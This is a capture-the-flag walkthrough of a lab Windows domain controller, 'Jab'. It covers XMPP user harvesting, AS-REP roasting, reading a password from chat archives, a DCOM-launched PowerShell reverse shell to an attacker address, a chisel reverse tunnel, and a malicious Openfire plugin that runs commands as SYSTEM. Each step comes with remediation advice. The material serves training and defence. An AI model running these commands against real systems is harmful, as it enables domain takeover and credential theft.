← all walkthroughs

Jab

Windows· Medium· Credential Access· Privilege Escalation
owned
2026-09-05
time to own
1h20m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I abused Jab's exposed Openfire XMPP chat service to build a complete map of the Active Directory user base, then used that userlist to identify and offline-crack an account with Kerberos pre-authentication disabled. Logging into chat as that user exposed message-archive history in a support room where an operator had pasted the plaintext password for the domain service account svc_openfire.

That account authenticated over SMB and, because it held rights sufficient for DCOM-based remote execution (WinRM was blocked but DCOM was not), I executed a PowerShell reverse shell and captured the user flag. The same svc_openfire password was reused to log into Openfire's web administration console, which is normally reachable only from localhost; a reverse SSH-style tunnel exposed it externally.

From the authenticated admin console, I uploaded a custom malicious plugin. Because the Openfire Windows service runs as NT AUTHORITY\SYSTEM, the plugin's command endpoint executed with SYSTEM privileges, giving full control of the domain controller and the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <last>, <room>, <token> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceUnauthenticated service enumeration / SMB null session (T1046, T1592)
Fingerprinted the domain controller anonymously and mapped the chat service surface
A service sweep of $TARGET identified it as DC01, a Windows Server 2019 domain controller for jab.htb, exposing standard AD ports (Kerberos, LDAP, SMB, RPC) alongside a full Openfire XMPP chat deployment (client ports 5222/5223/5262/5263/5269/5270/5275/5276 and web/admin ports 7070/7443/7777). SMB accepted null (unauthenticated) sessions, letting me confirm the hostname, OS build, and domain name before holding any credentials.
SMB $TARGET 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:jab.htb) (signing:True) (SMBv1:None) (Null Auth:True)
Exact commands 2
shell

Full TCP sweep to discover the AD + Openfire ports.

$ nmap -p- -sV -sC -oA jab_full $TARGET
shell

Confirm hostname/domain/OS build and that anonymous SMB sessions are permitted.

$ sudo -u kali nxc smb $TARGET
FixDisable anonymous/null SMB sessions on domain controllersLow
WeaknessSMB on DC01 accepted null (unauthenticated) sessions, letting an unauthorised user fingerprint the domain, hostname, and OS build before holding any credentials.
FixEnable the 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' policy and set RestrictAnonymous=2 via Group Policy on all domain controllers; verify with a credential-less nxc/enum4linux scan afterward.
2Initial AccessUnauthenticated account discovery via XMPP directory search (T1087.001)
Harvested the entire AD user list through Openfire's open XMPP directory search
Openfire's in-band account registration was left open, so I registered a throwaway XMPP account with no credentials at all, bound a session, and queried the server's built-in user-search service. The search returned the complete Active Directory username list — roughly 2,700 accounts — handing me a target list for credential attacks without ever touching AD directly.
Exact commands 2
shell

Headless XMPP client library; the admin console/UI is not needed for this step.

$ pip install slixmpp
shell

Sent over the freshly-registered XMPP session; the search.jab.htb service returns every AD username.

$ <iq type='set' from='you@jab.htb' to='search.jab.htb' id='s1'><query xmlns='jabber:iq:search'><last>*</last></query></iq>
FixClose open XMPP account registration and lock down the directory-search serviceMedium
WeaknessOpenfire allowed anyone to self-register an XMPP account and query the built-in directory-search service, which handed over the complete Active Directory username list with zero authentication.
FixDisable in-band account registration (Server Settings > Registration & Login > 'Inhibits users from creating their own accounts'), restrict the User Search plugin/service to admins only, and provision chat accounts centrally instead.
3Credential AccessAS-REP Roasting (T1558.004)
AS-REP roasted the harvested userlist and cracked a weak password offline
The harvested username list was fed to an AS-REP roasting request against the domain controller. Three accounts had Kerberos pre-authentication disabled, returning crackable AS-REP hashes with no credentials required. One of those hashes cracked offline against a wordlist, revealing the account jmontgomery with password.
Accounts without preauth were identified; jmontgomery's password recovered via offline hash cracking.
Exact commands 2
shell

Users.txt is the AD username list dumped from XMPP directory search in step 2.

$ impacket-GetNPUsers jab.htb/ -usersfile users.txt -dc-ip $TARGET -format hashcat -no-pass -outputfile asrep_hashes.txt
shell

Offline crack of the AS-REP hash; recovers jmontgomery's password.

$ hashcat -m 18200 -a 0 asrep_hashes.txt rockyou.txt
FixRequire Kerberos pre-authentication and enforce a strong password policy for all AD accountsHigh
WeaknessThree accounts had 'Do not require Kerberos preauthentication' set, letting an unauthorised user request crackable AS-REP hashes with no credentials, and at least one of those accounts used a dictionary-crackable password.
FixAudit and clear the DONT_REQ_PREAUTH flag on every account (Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}), enforce a fine-grained password policy requiring 15+ character passphrases, and monitor for AS-REP roasting attempts (Event ID 4768 with no pre-auth).
4Credential AccessUnsecured Credentials exposed in a chat/collaboration platform (T1552)
Logged into chat as jmontgomery and read a support room's full message archive to find a pasted domain-service password
Using the cracked jmontgomery credential, I authenticated to XMPP and enumerated every MUC (multi-user chat) room hosted by the server, including rooms the account had never been invited to. Pulling the full XEP-0313 archived history (not just the recent screen) of a pentest/support room revealed a pasted Kerberos ticket, a hashcat command, and — directly beneath it — the plaintext credential svc_openfire: <withheld>.
Pentest/support MUC room archive contained plaintext credential svc_openfire's password.
Exact commands 2
shell

Authenticated as jmontgomery; lists every MUC room, including uninvited ones.

$ <iq type='get' to='conference.jab.htb' id='disco1'><query xmlns='http://jabber.org/protocol/disco#items'/></iq>
shell

XEP-0313 Message Archive Management query; pulls the room's complete history, surfacing the pasted svc_openfire credential.

$ <iq type='set' to='<room>@conference.jab.htb' id='mam1'><query xmlns='urn:xmpp:mam:2'/></iq>
FixStop storing credentials in chat rooms and restrict archive access to invited membersHigh
WeaknessA group chat's fully retained message archive contained a plaintext domain-service password pasted during a support conversation, and the archive was readable by any authenticated user even for rooms they were never invited to.
FixEnforce room membership/invite checks before archive access (verify MUC room configuration and MAM permissions), set a short archive retention policy for support-style rooms, and train staff to share credentials only via an approved secrets manager, never chat.
5FootholdRemote Services: Distributed Component Object Model (T1021.003)
Used the recovered domain-service credential over SMB/DCOM to get code execution and capture user.txt
The svc_openfire credential authenticated successfully over SMB. WinRM explicitly refused the same credential (a permissions boundary, not a bad password), but svc_openfire held rights sufficient for DCOM-based remote command execution. Using an MMC20 DCOM object, I launched a PowerShell reverse shell back to their listener, landing an interactive shell as jab\svc_openfire, then read the user flag directly from the account's desktop.
Jab\svc_openfire confirmed via whoami.
Exact commands 4
shell

Validate the recovered credential against SMB.

$ sudo -u kali nxc smb $TARGET -u svc_openfire -p "$PASSWORD" -d jab.htb
shell

MMC20 DCOM object gives execution where WinRM is denied; -silentcommand avoids a visible console flash.

$ impacket-dcomexec "jab.htb/svc_openfire:$PASSWORD"@$TARGET "powershell -e <base64 reverse shell to $ATTACKER_IP:4444>" -silentcommand -object MMC20
shell

Run inside the resulting shell to prove the foothold before reading the flag.

$ whoami
jab\svc_openfire
shell

Reads the user flag — replace with <user.txt> when reporting the value.

$ type C:\Users\svc_openfire\Desktop\user.txt
FixRemove unnecessary DCOM/remote-execution rights from the Openfire service accountCritical
Weaknesssvc_openfire was granted rights sufficient to trigger remote command execution via DCOM (MMC20 object) even though WinRM correctly denied it, giving an unauthorised user code execution as soon as the password was known.
FixApply least privilege to service accounts: remove local admin/DCOM launch-and-activation rights from svc_openfire, restrict DCOM launch permissions via dcomcnfg to required admin groups only, and alert on MMCEXEC-style SMB admin-share activity.
6Privilege EscalationPassword reuse across systems combined with tunneling to bypass network restrictions (T1078, T1090)
Tunneled to the localhost-only Openfire admin console and reused the service password to log in
Openfire's administration console (ports 9090/9091) was bound to localhost only. Using the existing SMB/DCOM foothold, I staged a chisel binary on the target and ran it as a reverse tunnel client, exposing the admin console back on my own machine. They then reused the same svc_openfire password — already valid on the domain — to authenticate to the web admin console, which trusted it because the account had also been granted Openfire admin rights.
Chisel session forwarded 127.0.0.1:19090=>9090; authenticated POST to /login.jsp returned 200 on the Server Information admin dashboard.
Exact commands 3
shell

Reuses the step-5 foothold to launch chisel as a background reverse tunnel.

$ sudo -u kali nxc smb $TARGET -d jab.htb -u svc_openfire -p "$PASSWORD" --exec-method mmcexec -x "C:\Windows\Temp\chisel.exe client $ATTACKER_IP:8001 R:19090:127.0.0.1:9090 R:19091:127.0.0.1:9091"
shell

Fetch the login page cookies and CSRF token needed for the authenticated POST.

$ curl -sS -D - --max-time 15 http://127.0.0.1:19090/login.jsp
shell

Authenticates to the tunneled admin console with the reused domain-service password.

$ curl -sS -L -b cookies.txt -c cookies.txt --data-urlencode 'login=true' --data-urlencode 'csrf=<token>' --data-urlencode 'username=svc_openfire' --data-urlencode "password=$PASSWORD" http://127.0.0.1:19090/login.jsp
FixStop reusing domain-service passwords for application admin loginsHigh
Weaknesssvc_openfire's AD password was also valid for the Openfire web administration console, so a single leaked credential compromised both the domain-facing service and the application's privileged management interface.
FixUse a distinct, randomly generated credential for the Openfire admin console (or bind it to SSO/MFA) separate from the AD service account password, and rotate both after this finding; also restrict admin-console listeners to a trusted management network rather than relying on localhost binding alone.
7Full CompromiseServer Software Component: malicious application plugin (T1505.003)
Uploaded a malicious Openfire plugin that executed commands as NT AUTHORITY\SYSTEM
The authenticated admin console exposed a plugin-management page that accepts arbitrary .jar uploads with no code-signing or content restriction. I built and uploaded a custom plugin containing a servlet that runs OS commands on request, then invoked its endpoint. Because the Openfire Windows service runs as SYSTEM, the servlet's commands executed with full SYSTEM privileges, letting me prove SYSTEM access and read the root flag from the domain controller.
Plugin upload succeeded via /plugin-admin.jsp; GET /plugins/jabfixedproof/proof?key=123 executed server-side and HTB confirmed root ownership.
Exact commands 3
shell

Uploads the malicious plugin jar through the authenticated admin session's plugin-management endpoint.

$ curl -sS -b cookies.txt -F 'uploadfile=@jab-proof.jar' 'http://127.0.0.1:19090/plugin-admin.jsp?uploadplugin=true'
shell

Triggers the plugin's command endpoint; expect NT AUTHORITY\SYSTEM in the response — proves escalation before reading the flag.

$ curl -sS --max-time 20 'http://127.0.0.1:19090/plugins/jabfixedproof/proof?key=123&cmd=whoami'
shell

Reads the root flag as SYSTEM — replace with <root.txt> when reporting the value.

$ curl -sS --max-time 20 'http://127.0.0.1:19090/plugins/jabfixedproof/proof?key=123&cmd=type+C:\Users\Administrator\Desktop\root.txt'
FixRestrict Openfire plugin uploads and run the service with least privilegeCritical
WeaknessThe Openfire admin console let any authenticated admin upload an arbitrary, unsigned .jar plugin, and because the Windows service runs as NT AUTHORITY\SYSTEM, that plugin's code executed with full SYSTEM privileges.
FixRun the Openfire Windows service under a dedicated low-privilege service account instead of SYSTEM/LocalSystem, require signed plugins or disable third-party plugin upload entirely in production, and keep Openfire patched to the latest release track.

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
5222/tcp
5223/tcp
5262/tcp
5263/tcp
5269/tcp
5270/tcp
5275/tcp
5276/tcp
5985/tcp
7070/tcp
7443/tcp
7777/tcp
9389/tcp
47001/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49673/tcp
49694/tcp
49695/tcp
49696/tcp
49703/tcp
49766/tcp
53/udp